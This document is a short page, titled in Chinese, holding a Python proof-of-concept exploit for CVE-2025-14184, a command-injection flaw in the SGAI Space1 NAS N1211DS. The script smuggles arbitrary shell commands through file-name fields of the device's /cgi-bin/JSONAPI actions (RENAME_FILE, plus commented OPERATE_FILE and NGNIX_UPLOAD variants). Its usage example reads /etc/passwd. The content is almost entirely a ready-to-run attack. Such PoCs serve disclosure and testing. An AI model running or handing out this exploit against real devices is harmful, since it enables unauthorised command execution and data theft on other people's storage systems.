CVE-2025-14184: SGAI Space1 NAS N1211DS 命令执行漏洞

#!/usr/bin/env python3 # CVE-2025-14184 PoC - SGAI Space1 NAS Command Execution # Target: SGAI Space1 NAS N1211DS up to version 1.0.915 import requests import sys def exploit_cve_2025_14184(target_url, cmd="id"): """ Exploit command execution via JSONAPI endpoint Target: /cgi-bin/JSONAPI Vulnerable functions: RENAME_FILE, OPERATE_FILE, NGNIX_UPLOAD """ # Construct malicious payload for RENAME_FILE function payload = { "action": "RENAME_FILE", "filename": f"test.txt;{cmd}", "new_filename": "test2.txt" } # Alternative payload using OPERATE_FILE # payload = { # "action": "OPERATE_FILE", # "filepath": f"';{cmd};'", # "operation": "delete" # } # Alternative payload using NGNIX_UPLOAD # payload = { # "action": "NGNIX_UPLOAD", # "filename": f"';{cmd};'", # "filepath": "/tmp" # } try: response = requests.post( f"{target_url}/cgi-bin/JSONAPI", json=payload, timeout=10 ) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [command]") print(f"Example: {sys.argv[0]} http://192.168.1.100 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "id" result = exploit_cve_2025_14184(target, command) print(f"Command output:\n{result}")